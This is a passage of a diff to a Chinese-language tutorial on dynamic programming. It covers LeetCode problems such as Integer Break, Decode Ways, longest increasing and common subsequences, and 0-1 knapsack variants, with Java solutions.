+        total += cnt;
+    }
+    return total;
 }
 ```
 
-### 分割整数
+### 分割整数
 
-**分割整数的最大乘积**
+**分割整数的最大乘积** 
 
-[343. Integer Break (Medim)](https://leetcode.com/problems/integer-break/description/)
+[343. Integer Break (Medim)](https://leetcode.com/problems/integer-break/description/)
 
-题目描述：For example, given n = 2, return 1 (2 = 1 + 1); given n = 10, return 36 (10 = 3 + 3 + 4).
+题目描述：For example, given n = 2, return 1 (2 = 1 + 1); given n = 10, return 36 (10 = 3 + 3 + 4).
 
 ```java
-public int integerBreak(int n) {
-    int[] dp = new int[n + 1];
-    dp[1] = 1;
-    for (int i = 2; i <= n; i++) {
-        for (int j = 1; j <= i - 1; j++) {
-            dp[i] = Math.max(dp[i], Math.max(j * dp[i - j], j * (i - j)));
-        }
-    }
-    return dp[n];
+public int integerBreak(int n) {
+    int[] dp = new int[n + 1];
+    dp[1] = 1;
+    for (int i = 2; i <= n; i++) {
+        for (int j = 1; j <= i - 1; j++) {
+            dp[i] = Math.max(dp[i], Math.max(j * dp[i - j], j * (i - j)));
+        }
+    }
+    return dp[n];
 }
 ```
 
-**按平方数来分割整数**
+**按平方数来分割整数** 
 
-[279. Perfect Squares(Medium)](https://leetcode.com/problems/perfect-squares/description/)
+[279. Perfect Squares(Medium)](https://leetcode.com/problems/perfect-squares/description/)
 
-题目描述：For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
+题目描述：For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
 
 ```java
-public int numSquares(int n) {
-    List<Integer> squareList = generateSquareList(n);
-    int[] dp = new int[n + 1];
-    for (int i = 1; i <= n; i++) {
-        int min = Integer.MAX_VALUE;
-        for (int square : squareList) {
-            if (square > i) {
-                break;
-            }
-            min = Math.min(min, dp[i - square] + 1);
-        }
-        dp[i] = min;
-    }
-    return dp[n];
+public int numSquares(int n) {
+    List<Integer> squareList = generateSquareList(n);
+    int[] dp = new int[n + 1];
+    for (int i = 1; i <= n; i++) {
+        int min = Integer.MAX_VALUE;
+        for (int square : squareList) {
+            if (square > i) {
+                break;
+            }
+            min = Math.min(min, dp[i - square] + 1);
+        }
+        dp[i] = min;
+    }
+    return dp[n];
 }
 
-private List<Integer> generateSquareList(int n) {
-    List<Integer> squareList = new ArrayList<>();
-    int diff = 3;
-    int square = 1;
-    while (square <= n) {
-        squareList.add(square);
-        square += diff;
-        diff += 2;
-    }
-    return squareList;
+private List<Integer> generateSquareList(int n) {
+    List<Integer> squareList = new ArrayList<>();
+    int diff = 3;
+    int square = 1;
+    while (square <= n) {
+        squareList.add(square);
+        square += diff;
+        diff += 2;
+    }
+    return squareList;
 }
 ```
 
-**分割整数构成字母字符串**
+**分割整数构成字母字符串** 
 
-[91. Decode Ways (Medium)](https://leetcode.com/problems/decode-ways/description/)
+[91. Decode Ways (Medium)](https://leetcode.com/problems/decode-ways/description/)
 
-题目描述：Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12).
+题目描述：Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12).
 
 ```java
-public int numDecodings(String s) {
-    if (s == null || s.length() == 0) {
-        return 0;
-    }
-    int n = s.length();
-    int[] dp = new int[n + 1];
-    dp[0] = 1;
-    dp[1] = s.charAt(0) == '0' ? 0 : 1;
-    for (int i = 2; i <= n; i++) {
-        int one = Integer.valueOf(s.substring(i - 1, i));
-        if (one != 0) {
-            dp[i] += dp[i - 1];
-        }
-        if (s.charAt(i - 2) == '0') {
-            continue;
-        }
-        int two = Integer.valueOf(s.substring(i - 2, i));
-        if (two <= 26) {
-            dp[i] += dp[i - 2];
-        }
-    }
-    return dp[n];
+public int numDecodings(String s) {
+    if (s == null || s.length() == 0) {
+        return 0;
+    }
+    int n = s.length();
+    int[] dp = new int[n + 1];
+    dp[0] = 1;
+    dp[1] = s.charAt(0) == '0' ? 0 : 1;
+    for (int i = 2; i <= n; i++) {
+        int one = Integer.valueOf(s.substring(i - 1, i));
+        if (one != 0) {
+            dp[i] += dp[i - 1];
+        }
+        if (s.charAt(i - 2) == '0') {
+            continue;
+        }
+        int two = Integer.valueOf(s.substring(i - 2, i));
+        if (two <= 26) {
+            dp[i] += dp[i - 2];
+        }
+    }
+    return dp[n];
 }
 ```
 
-### 最长递增子序列
+### 最长递增子序列
 
-已知一个序列 {S<sub>1</sub>, S<sub>2</sub>,...,S<sub>n</sub>}，取出若干数组成新的序列 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>}，其中 i1、i2 ... im 保持递增，即新序列中各个数仍然保持原数列中的先后顺序，称新序列为原序列的一个**子序列**。
+已知一个序列 {S<sub>1</sub>, S<sub>2</sub>,...,S<sub>n</sub>}，取出若干数组成新的序列 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>}，其中 i1、i2 ... im 保持递增，即新序列中各个数仍然保持原数列中的先后顺序，称新序列为原序列的一个 **子序列** 。
 
-如果在子序列中，当下标 ix > iy 时，S<sub>ix</sub> > S<sub>iy</sub>，称子序列为原序列的一个**递增子序列**。
+如果在子序列中，当下标 ix > iy 时，S<sub>ix</sub> > S<sub>iy</sub>，称子序列为原序列的一个 **递增子序列** 。
 
-定义一个数组 dp 存储最长递增子序列的长度，dp[n] 表示以 S<sub>n</sub> 结尾的序列的最长递增子序列长度。对于一个递增子序列 {S<sub>i1</sub>, S<sub>i2</sub>,...,S<sub>im</sub>}，如果 im < n 并且 S<sub>im</sub> < S<sub>n</sub>，此时 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>, S<sub>n</sub>} 为一个递增子序列，递增子序列的长度增加 1。满足上述条件的递增子序列中，长度最长的那个递增子序列就是要找的，在长度最长的递增子序列上加上 S<sub>n</sub> 就构成了以 S<sub>n</sub> 为结尾的最长递增子序列。因此 dp[n] = max{ dp[i]+1 | S<sub>i</sub> < S<sub>n</sub> && i < n} 。
+定义一个数组 dp 存储最长递增子序列的长度，dp[n] 表示以 S<sub>n</sub> 结尾的序列的最长递增子序列长度。对于一个递增子序列 {S<sub>i1</sub>, S<sub>i2</sub>,...,S<sub>im</sub>}，如果 im < n 并且 S<sub>im</sub> < S<sub>n</sub>，此时 {S<sub>i1</sub>, S<sub>i2</sub>,..., S<sub>im</sub>, S<sub>n</sub>} 为一个递增子序列，递增子序列的长度增加 1。满足上述条件的递增子序列中，长度最长的那个递增子序列就是要找的，在长度最长的递增子序列上加上 S<sub>n</sub> 就构成了以 S<sub>n</sub> 为结尾的最长递增子序列。因此 dp[n] = max{ dp[i]+1 | S<sub>i</sub> < S<sub>n</sub> && i < n} 。
 
-因为在求 dp[n] 时可能无法找到一个满足条件的递增子序列，此时 {S<sub>n</sub>} 就构成了递增子序列，需要对前面的求解方程做修改，令 dp[n] 最小为 1，即：
+因为在求 dp[n] 时可能无法找到一个满足条件的递增子序列，此时 {S<sub>n</sub>} 就构成了递增子序列，需要对前面的求解方程做修改，令 dp[n] 最小为 1，即：
 
-$$ dp[n] = max\{ 1, dp[i]+1 | S_i < S_n \&\& i < n \} $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[n]=max\{1,dp[i]+1|S_i<S_n\&\&i<n\}"/></div> <br>
 
-对于一个长度为 N 的序列，最长递增子序列并不一定会以 S<sub>N</sub> 为结尾，因此 dp[N] 不是序列的最长递增子序列的长度，需要遍历 dp 数组找出最大值才是所要的结果，max{ dp[i] | 1 <= i <= N} 即为所求。
+对于一个长度为 N 的序列，最长递增子序列并不一定会以 S<sub>N</sub> 为结尾，因此 dp[N] 不是序列的最长递增子序列的长度，需要遍历 dp 数组找出最大值才是所要的结果，max{ dp[i] | 1 <= i <= N} 即为所求。
 
-**最长递增子序列**
+**最长递增子序列** 
 
-[300. Longest Increasing Subsequence (Medium)](https://leetcode.com/problems/longest-increasing-subsequence/description/)
+[300. Longest Increasing Subsequence (Medium)](https://leetcode.com/problems/longest-increasing-subsequence/description/)
 
 ```java
-public int lengthOfLIS(int[] nums) {
-    int n = nums.length;
-    int[] dp = new int[n];
-    for (int i = 0; i < n; i++) {
-        int max = 1;
-        for (int j = 0; j < i; j++) {
-            if (nums[i] > nums[j]) {
-                max = Math.max(max, dp[j] + 1);
-            }
-        }
-        dp[i] = max;
-    }
-    return Arrays.stream(dp).max().orElse(0);
+public int lengthOfLIS(int[] nums) {
+    int n = nums.length;
+    int[] dp = new int[n];
+    for (int i = 0; i < n; i++) {
+        int max = 1;
+        for (int j = 0; j < i; j++) {
+            if (nums[i] > nums[j]) {
+                max = Math.max(max, dp[j] + 1);
+            }
+        }
+        dp[i] = max;
+    }
+    return Arrays.stream(dp).max().orElse(0);
 }
 ```
 
-使用 Stream 求最大值会导致运行时间过长，可以改成以下形式：
+使用 Stream 求最大值会导致运行时间过长，可以改成以下形式：
 
 ```java
-int ret = 0;
-for (int i = 0; i < n; i++) {
-    ret = Math.max(ret, dp[i]);
+int ret = 0;
+for (int i = 0; i < n; i++) {
+    ret = Math.max(ret, dp[i]);
 }
-return ret;
+return ret;
 ```
 
-以上解法的时间复杂度为 O(N<sup>2</sup>)，可以使用二分查找将时间复杂度降低为 O(NlogN)。
+以上解法的时间复杂度为 O(N<sup>2</sup>)，可以使用二分查找将时间复杂度降低为 O(NlogN)。
 
-定义一个 tails 数组，其中 tails[i] 存储长度为 i + 1 的最长递增子序列的最后一个元素。对于一个元素 x，
+定义一个 tails 数组，其中 tails[i] 存储长度为 i + 1 的最长递增子序列的最后一个元素。对于一个元素 x，
 
-- 如果它大于 tails 数组所有的值，那么把它添加到 tails 后面，表示最长递增子序列长度加 1；
-- 如果 tails[i-1] < x <= tails[i]，那么更新 tails[i] = x。
+- 如果它大于 tails 数组所有的值，那么把它添加到 tails 后面，表示最长递增子序列长度加 1；
+- 如果 tails[i-1] < x <= tails[i]，那么更新 tails[i] = x。
 
-例如对于数组 [4,3,6,5]，有：
+例如对于数组 [4,3,6,5]，有：
 
 ```html
-tails      len      num
-[]         0        4
-[4]        1        3
-[3]        1        6
-[3,6]      2        5
-[3,5]      2        null
+tails      len      num
+[]         0        4
+[4]        1        3
+[3]        1        6
+[3,6]      2        5
+[3,5]      2        null
 ```
 
-可以看出 tails 数组保持有序，因此在查找 S<sub>i</sub> 位于 tails 数组的位置时就可以使用二分查找。
+可以看出 tails 数组保持有序，因此在查找 S<sub>i</sub> 位于 tails 数组的位置时就可以使用二分查找。
 
 ```java
-public int lengthOfLIS(int[] nums) {
-    int n = nums.length;
-    int[] tails = new int[n];
-    int len = 0;
-    for (int num : nums) {
-        int index = binarySearch(tails, len, num);
-        tails[index] = num;
-        if (index == len) {
-            len++;
-        }
-    }
-    return len;
+public int lengthOfLIS(int[] nums) {
+    int n = nums.length;
+    int[] tails = new int[n];
+    int len = 0;
+    for (int num : nums) {
+        int index = binarySearch(tails, len, num);
+        tails[index] = num;
+        if (index == len) {
+            len++;
+        }
+    }
+    return len;
 }
 
-private int binarySearch(int[] tails, int len, int key) {
-    int l = 0, h = len;
-    while (l < h) {
-        int mid = l + (h - l) / 2;
-        if (tails[mid] == key) {
-            return mid;
-        } else if (tails[mid] > key) {
-            h = mid;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return l;
+private int binarySearch(int[] tails, int len, int key) {
+    int l = 0, h = len;
+    while (l < h) {
+        int mid = l + (h - l) / 2;
+        if (tails[mid] == key) {
+            return mid;
+        } else if (tails[mid] > key) {
+            h = mid;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return l;
 }
 ```
 
-**一组整数对能够构成的最长链**
+**一组整数对能够构成的最长链** 
 
-[646. Maximum Length of Pair Chain (Medium)](https://leetcode.com/problems/maximum-length-of-pair-chain/description/)
+[646. Maximum Length of Pair Chain (Medium)](https://leetcode.com/problems/maximum-length-of-pair-chain/description/)
 
 ```html
-Input: [[1,2], [2,3], [3,4]]
-Output: 2
-Explanation: The longest chain is [1,2] -> [3,4]
+Input: [[1,2], [2,3], [3,4]]
+Output: 2
+Explanation: The longest chain is [1,2] -> [3,4]
 ```
 
-题目描述：对于 (a, b) 和 (c, d) ，如果 b < c，则它们可以构成一条链。
+题目描述：对于 (a, b) 和 (c, d) ，如果 b < c，则它们可以构成一条链。
 
 ```java
-public int findLongestChain(int[][] pairs) {
-    if (pairs == null || pairs.length == 0) {
-        return 0;
-    }
-    Arrays.sort(pairs, (a, b) -> (a[0] - b[0]));
-    int n = pairs.length;
-    int[] dp = new int[n];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < n; i++) {
-        for (int j = 0; j < i; j++) {
-            if (pairs[j][1] < pairs[i][0]) {
-                dp[i] = Math.max(dp[i], dp[j] + 1);
-            }
-        }
-    }
-    return Arrays.stream(dp).max().orElse(0);
+public int findLongestChain(int[][] pairs) {
+    if (pairs == null || pairs.length == 0) {
+        return 0;
+    }
+    Arrays.sort(pairs, (a, b) -> (a[0] - b[0]));
+    int n = pairs.length;
+    int[] dp = new int[n];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < n; i++) {
+        for (int j = 0; j < i; j++) {
+            if (pairs[j][1] < pairs[i][0]) {
+                dp[i] = Math.max(dp[i], dp[j] + 1);
+            }
+        }
+    }
+    return Arrays.stream(dp).max().orElse(0);
 }
 ```
 
-**最长摆动子序列**
+**最长摆动子序列** 
 
-[376. Wiggle Subsequence (Medium)](https://leetcode.com/problems/wiggle-subsequence/description/)
+[376. Wiggle Subsequence (Medium)](https://leetcode.com/problems/wiggle-subsequence/description/)
 
 ```html
-Input: [1,7,4,9,2,5]
-Output: 6
-The entire sequence is a wiggle sequence.
+Input: [1,7,4,9,2,5]
+Output: 6
+The entire sequence is a wiggle sequence.
 
-Input: [1,17,5,10,13,15,10,5,16,8]
-Output: 7
-There are several subsequences that achieve this length. One is [1,17,10,13,10,16,8].
+Input: [1,17,5,10,13,15,10,5,16,8]
+Output: 7
+There are several subsequences that achieve this length. One is [1,17,10,13,10,16,8].
 
-Input: [1,2,3,4,5,6,7,8,9]
-Output: 2
+Input: [1,2,3,4,5,6,7,8,9]
+Output: 2
 ```
 
-要求：使用 O(N) 时间复杂度求解。
+要求：使用 O(N) 时间复杂度求解。
 
 ```java
-public int wiggleMaxLength(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int up = 1, down = 1;
-    for (int i = 1; i < nums.length; i++) {
-        if (nums[i] > nums[i - 1]) {
-            up = down + 1;
-        } else if (nums[i] < nums[i - 1]) {
-            down = up + 1;
-        }
-    }
-    return Math.max(up, down);
+public int wiggleMaxLength(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int up = 1, down = 1;
+    for (int i = 1; i < nums.length; i++) {
+        if (nums[i] > nums[i - 1]) {
+            up = down + 1;
+        } else if (nums[i] < nums[i - 1]) {
+            down = up + 1;
+        }
+    }
+    return Math.max(up, down);
 }
 ```
 
-### 最长公共子序列
+### 最长公共子序列
 
-对于两个子序列 S1 和 S2，找出它们最长的公共子序列。
+对于两个子序列 S1 和 S2，找出它们最长的公共子序列。
 
-定义一个二维数组 dp 用来存储最长公共子序列的长度，其中 dp[i][j] 表示 S1 的前 i 个字符与 S2 的前 j 个字符最长公共子序列的长度。考虑 S1<sub>i</sub> 与 S2<sub>j</sub> 值是否相等，分为两种情况：
+定义一个二维数组 dp 用来存储最长公共子序列的长度，其中 dp[i][j] 表示 S1 的前 i 个字符与 S2 的前 j 个字符最长公共子序列的长度。考虑 S1<sub>i</sub> 与 S2<sub>j</sub> 值是否相等，分为两种情况：
 
-- 当 S1<sub>i</sub>==S2<sub>j</sub> 时，那么就能在 S1 的前 i-1 个字符与 S2 的前 j-1 个字符最长公共子序列的基础上再加上 S1<sub>i</sub> 这个值，最长公共子序列长度加 1，即 dp[i][j] = dp[i-1][j-1] + 1。
-- 当 S1<sub>i</sub> != S2<sub>j</sub> 时，此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列，或者 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列，取它们的最大者，即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
+- 当 S1<sub>i</sub>==S2<sub>j</sub> 时，那么就能在 S1 的前 i-1 个字符与 S2 的前 j-1 个字符最长公共子序列的基础上再加上 S1<sub>i</sub> 这个值，最长公共子序列长度加 1，即 dp[i][j] = dp[i-1][j-1] + 1。
+- 当 S1<sub>i</sub> != S2<sub>j</sub> 时，此时最长公共子序列为 S1 的前 i-1 个字符和 S2 的前 j 个字符最长公共子序列，或者 S1 的前 i 个字符和 S2 的前 j-1 个字符最长公共子序列，取它们的最大者，即 dp[i][j] = max{ dp[i-1][j], dp[i][j-1] }。
 
 综上，最长公共子序列的状态转移方程为：
 
-$$ dp[i][j]=\left\{ \begin{array}{rcl} dp[i-1][j-1]  &&  { S1_i==S2_j }\\ max(dp[i-1][j], dp[i][j-1])  &&{ S1_i <> S2_j } \end{array} \right. $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=\left\{\begin{array}{rcl}dp[i-1][j-1]&&{S1_i==S2_j}\\max(dp[i-1][j],dp[i][j-1])&&{S1_i<>S2_j}\end{array}\right."/></div> <br>
 
-对于长度为 N 的序列 S<sub>1</sub> 和长度为 M 的序列 S<sub>2</sub>，dp[N][M] 就是序列 S<sub>1</sub> 和序列 S<sub>2</sub> 的最长公共子序列长度。
+对于长度为 N 的序列 S<sub>1</sub> 和长度为 M 的序列 S<sub>2</sub>，dp[N][M] 就是序列 S<sub>1</sub> 和序列 S<sub>2</sub> 的最长公共子序列长度。
 
 与最长递增子序列相比，最长公共子序列有以下不同点：
 
-- 针对的是两个序列，求它们的最长公共子序列。
-- 在最长递增子序列中，dp[i] 表示以 S<sub>i</sub> 为结尾的最长递增子序列长度，子序列必须包含 S<sub>i</sub> ；在最长公共子序列中，dp[i][j] 表示 S1 中前 i 个字符与 S2 中前 j 个字符的最长公共子序列长度，不一定包含 S1<sub>i</sub> 和 S2<sub>j</sub>。
-- 在求最终解时，最长公共子序列中 dp[N][M] 就是最终解，而最长递增子序列中 dp[N] 不是最终解，因为以 S<sub>N</sub> 为结尾的最长递增子序列不一定是整个序列最长递增子序列，需要遍历一遍 dp 数组找到最大者。
+- 针对的是两个序列，求它们的最长公共子序列。
+- 在最长递增子序列中，dp[i] 表示以 S<sub>i</sub> 为结尾的最长递增子序列长度，子序列必须包含 S<sub>i</sub> ；在最长公共子序列中，dp[i][j] 表示 S1 中前 i 个字符与 S2 中前 j 个字符的最长公共子序列长度，不一定包含 S1<sub>i</sub> 和 S2<sub>j</sub>。
+- 在求最终解时，最长公共子序列中 dp[N][M] 就是最终解，而最长递增子序列中 dp[N] 不是最终解，因为以 S<sub>N</sub> 为结尾的最长递增子序列不一定是整个序列最长递增子序列，需要遍历一遍 dp 数组找到最大者。
 
 ```java
-public int lengthOfLCS(int[] nums1, int[] nums2) {
-    int n1 = nums1.length, n2 = nums2.length;
-    int[][] dp = new int[n1 + 1][n2 + 1];
-    for (int i = 1; i <= n1; i++) {
-        for (int j = 1; j <= n2; j++) {
-            if (nums1[i - 1] == nums2[j - 1]) {
-                dp[i][j] = dp[i - 1][j - 1] + 1;
-            } else {
-                dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]);
-            }
-        }
-    }
-    return dp[n1][n2];
+public int lengthOfLCS(int[] nums1, int[] nums2) {
+    int n1 = nums1.length, n2 = nums2.length;
+    int[][] dp = new int[n1 + 1][n2 + 1];
+    for (int i = 1; i <= n1; i++) {
+        for (int j = 1; j <= n2; j++) {
+            if (nums1[i - 1] == nums2[j - 1]) {
+                dp[i][j] = dp[i - 1][j - 1] + 1;
+            } else {
+                dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]);
+            }
+        }
+    }
+    return dp[n1][n2];
 }
 ```
 
-### 0-1 背包
+### 0-1 背包
 
-有一个容量为 N 的背包，要用这个背包装下物品的价值最大，这些物品有两个属性：体积 w 和价值 v。
+有一个容量为 N 的背包，要用这个背包装下物品的价值最大，这些物品有两个属性：体积 w 和价值 v。
 
-定义一个二维数组 dp 存储最大价值，其中 dp[i][j] 表示前 i 件物品体积不超过 j 的情况下能达到的最大价值。设第 i 件物品体积为 w，价值为 v，根据第 i 件物品是否添加到背包中，可以分两种情况讨论：
+定义一个二维数组 dp 存储最大价值，其中 dp[i][j] 表示前 i 件物品体积不超过 j 的情况下能达到的最大价值。设第 i 件物品体积为 w，价值为 v，根据第 i 件物品是否添加到背包中，可以分两种情况讨论：
 
-- 第 i 件物品没添加到背包，总体积不超过 j 的前 i 件物品的最大价值就是总体积不超过 j 的前 i-1 件物品的最大价值，dp[i][j] = dp[i-1][j]。
-- 第 i 件物品添加到背包中，dp[i][j] = dp[i-1][j-w] + v。
+- 第 i 件物品没添加到背包，总体积不超过 j 的前 i 件物品的最大价值就是总体积不超过 j 的前 i-1 件物品的最大价值，dp[i][j] = dp[i-1][j]。
+- 第 i 件物品添加到背包中，dp[i][j] = dp[i-1][j-w] + v。
 
-第 i 件物品可添加也可以不添加，取决于哪种情况下最大价值更大。因此，0-1 背包的状态转移方程为：
+第 i 件物品可添加也可以不添加，取决于哪种情况下最大价值更大。因此，0-1 背包的状态转移方程为：
 
-$$ dp[i][j] = max(dp[i-1][j], dp[i-1][j-w] + v) $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i][j]=max(dp[i-1][j],dp[i-1][j-w]+v)"/></div> <br>
 
 ```java
-public int knapsack(int W, int N, int[] weights, int[] values) {
-    int[][] dp = new int[N + 1][W + 1];
-    for (int i = 1; i <= N; i++) {
-        int w = weights[i - 1], v = values[i - 1];
-        for (int j = 1; j <= W; j++) {
-            if (j >= w) {
-                dp[i][j] = Math.max(dp[i - 1][j], dp[i - 1][j - w] + v);
-            } else {
-                dp[i][j] = dp[i - 1][j];
-            }
-        }
-    }
-    return dp[N][W];
+public int knapsack(int W, int N, int[] weights, int[] values) {
+    int[][] dp = new int[N + 1][W + 1];
+    for (int i = 1; i <= N; i++) {
+        int w = weights[i - 1], v = values[i - 1];
+        for (int j = 1; j <= W; j++) {
+            if (j >= w) {
+                dp[i][j] = Math.max(dp[i - 1][j], dp[i - 1][j - w] + v);
+            } else {
+                dp[i][j] = dp[i - 1][j];
+            }
+        }
+    }
+    return dp[N][W];
 }
 ```
 
-**空间优化**
+**空间优化** 
 
-在程序实现时可以对 0-1 背包做优化。观察状态转移方程可以知道，前 i 件物品的状态仅与前 i-1 件物品的状态有关，因此可以将 dp 定义为一维数组，其中 dp[j] 既可以表示 dp[i-1][j] 也可以表示 dp[i][j]。此时，
+在程序实现时可以对 0-1 背包做优化。观察状态转移方程可以知道，前 i 件物品的状态仅与前 i-1 件物品的状态有关，因此可以将 dp 定义为一维数组，其中 dp[j] 既可以表示 dp[i-1][j] 也可以表示 dp[i][j]。此时，
 
-$$ dp[j] = max ( dp[j], dp[j-w] + v ) $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[j]=max(dp[j],dp[j-w]+v)"/></div> <br>
 
-因为 dp[j-w] 表示 dp[i-1][j-w]，因此不能先求 dp[i][j-w]，以防将 dp[i-1][j-w] 覆盖。也就是说要先计算 dp[i][j] 再计算 dp[i][j-w]，在程序实现时需要按倒序来循环求解。
+因为 dp[j-w] 表示 dp[i-1][j-w]，因此不能先求 dp[i][j-w]，以防将 dp[i-1][j-w] 覆盖。也就是说要先计算 dp[i][j] 再计算 dp[i][j-w]，在程序实现时需要按倒序来循环求解。
 
 ```java
-public int knapsack(int W, int N, int[] weights, int[] values) {
-    int[] dp = new int[W + 1];
-    for (int i = 1; i <= N; i++) {
-        int w = weights[i - 1], v = values[i - 1];
-        for (int j = W; j >= 1; j--) {
-            if (j >= w) {
-                dp[j] = Math.max(dp[j], dp[j - w] + v);
-            }
-        }
-    }
-    return dp[W];
+public int knapsack(int W, int N, int[] weights, int[] values) {
+    int[] dp = new int[W + 1];
+    for (int i = 1; i <= N; i++) {
+        int w = weights[i - 1], v = values[i - 1];
+        for (int j = W; j >= 1; j--) {
+            if (j >= w) {
+                dp[j] = Math.max(dp[j], dp[j - w] + v);
+            }
+        }
+    }
+    return dp[W];
 }
 ```
 
-**无法使用贪心算法的解释**
+**无法使用贪心算法的解释** 
 
-0-1 背包问题无法使用贪心算法来求解，也就是说不能按照先添加性价比最高的物品来达到最优，这是因为这种方式可能造成背包空间的浪费，从而无法达到最优。考虑下面的物品和一个容量为 5 的背包，如果先添加物品 0 再添加物品 1，那么只能存放的价值为 16，浪费了大小为 2 的空间。最优的方式是存放物品 1 和物品 2，价值为 22.
+0-1 背包问题无法使用贪心算法来求解，也就是说不能按照先添加性价比最高的物品来达到最优，这是因为这种方式可能造成背包空间的浪费，从而无法达到最优。考虑下面的物品和一个容量为 5 的背包，如果先添加物品 0 再添加物品 1，那么只能存放的价值为 16，浪费了大小为 2 的空间。最优的方式是存放物品 1 和物品 2，价值为 22.
 
-| id | w | v | v/w |
-| --- | --- | --- | --- |
-| 0 | 1 | 6 | 6 |
-| 1 | 2 | 10 | 5 |
-| 2 | 3 | 12 | 4 |
+| id | w | v | v/w |
+| --- | --- | --- | --- |
+| 0 | 1 | 6 | 6 |
+| 1 | 2 | 10 | 5 |
+| 2 | 3 | 12 | 4 |
 
-**变种**
+**变种** 
 
-- 完全背包：物品数量为无限个
+- 完全背包：物品数量为无限个
 
-- 多重背包：物品数量有限制
+- 多重背包：物品数量有限制
 
-- 多维费用背包：物品不仅有重量，还有体积，同时考虑这两种限制
+- 多维费用背包：物品不仅有重量，还有体积，同时考虑这两种限制
 
-- 其它：物品之间相互约束或者依赖
+- 其它：物品之间相互约束或者依赖
 
-**划分数组为和相等的两部分**
+**划分数组为和相等的两部分** 
 
-[416. Partition Equal Subset Sum (Medium)](https://leetcode.com/problems/partition-equal-subset-sum/description/)
+[416. Partition Equal Subset Sum (Medium)](https://leetcode.com/problems/partition-equal-subset-sum/description/)
 
 ```html
-Input: [1, 5, 11, 5]
+Input: [1, 5, 11, 5]
 
-Output: true
+Output: true
 
-Explanation: The array can be partitioned as [1, 5, 5] and [11].
+Explanation: The array can be partitioned as [1, 5, 5] and [11].
 ```
 
-可以看成一个背包大小为 sum/2 的 0-1 背包问题。
+可以看成一个背包大小为 sum/2 的 0-1 背包问题。
 
 ```java
-public boolean canPartition(int[] nums) {
-    int sum = computeArraySum(nums);
-    if (sum % 2 != 0) {
-        return false;
-    }
-    int W = sum / 2;
-    boolean[] dp = new boolean[W + 1];
-    dp[0] = true;
-    Arrays.sort(nums);
-    for (int num : nums) {                 // 0-1 背包一个物品只能用一次
-        for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
-            dp[i] = dp[i] || dp[i - num];
-        }
-    }
-    return dp[W];
+public boolean canPartition(int[] nums) {
+    int sum = computeArraySum(nums);
+    if (sum % 2 != 0) {
+        return false;
+    }
+    int W = sum / 2;
+    boolean[] dp = new boolean[W + 1];
+    dp[0] = true;
+    Arrays.sort(nums);
+    for (int num : nums) {                 // 0-1 背包一个物品只能用一次
+        for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
+            dp[i] = dp[i] || dp[i - num];
+        }
+    }
+    return dp[W];
 }
 
-private int computeArraySum(int[] nums) {
-    int sum = 0;
-    for (int num : nums) {
-        sum += num;
-    }
-    return sum;
+private int computeArraySum(int[] nums) {
+    int sum = 0;
+    for (int num : nums) {
+        sum += num;
+    }
+    return sum;
 }
 ```
 
-**改变一组数的正负号使得它们的和为一给定数**
+**改变一组数的正负号使得它们的和为一给定数** 
 
-[494. Target Sum (Medium)](https://leetcode.com/problems/target-sum/description/)
+[494. Target Sum (Medium)](https://leetcode.com/problems/target-sum/description/)
 
 ```html
-Input: nums is [1, 1, 1, 1, 1], S is 3.
-Output: 5
+Input: nums is [1, 1, 1, 1, 1], S is 3.
+Output: 5
 Explanation:
 
--1+1+1+1+1 = 3
-+1-1+1+1+1 = 3
-+1+1-1+1+1 = 3
-+1+1+1-1+1 = 3
-+1+1+1+1-1 = 3
+-1+1+1+1+1 = 3
++1-1+1+1+1 = 3
++1+1-1+1+1 = 3
++1+1+1-1+1 = 3
++1+1+1+1-1 = 3
 
-There are 5 ways to assign symbols to make the sum of nums be target 3.
+There are 5 ways to assign symbols to make the sum of nums be target 3.
 ```
 
-该问题可以转换为 Subset Sum 问题，从而使用 0-1 背包的方法来求解。
+该问题可以转换为 Subset Sum 问题，从而使用 0-1 背包的方法来求解。
 
-可以将这组数看成两部分，P 和 N，其中 P 使用正号，N 使用负号，有以下推导：
+可以将这组数看成两部分，P 和 N，其中 P 使用正号，N 使用负号，有以下推导：
 
 ```html
-                  sum(P) - sum(N) = target
-sum(P) + sum(N) + sum(P) - sum(N) = target + sum(P) + sum(N)
-                       2 * sum(P) = target + sum(nums)
+                  sum(P) - sum(N) = target
+sum(P) + sum(N) + sum(P) - sum(N) = target + sum(P) + sum(N)
+                       2 * sum(P) = target + sum(nums)
 ```
 
-因此只要找到一个子集，令它们都取正号，并且和等于 (target + sum(nums))/2，就证明存在解。
+因此只要找到一个子集，令它们都取正号，并且和等于 (target + sum(nums))/2，就证明存在解。
 
 ```java
-public int findTargetSumWays(int[] nums, int S) {
-    int sum = computeArraySum(nums);
-    if (sum < S || (sum + S) % 2 == 1) {
-        return 0;
-    }
-    int W = (sum + S) / 2;
-    int[] dp = new int[W + 1];
-    dp[0] = 1;
-    for (int num : nums) {
-        for (int i = W; i >= num; i--) {
-            dp[i] = dp[i] + dp[i - num];
-        }
-    }
-    return dp[W];
+public int findTargetSumWays(int[] nums, int S) {
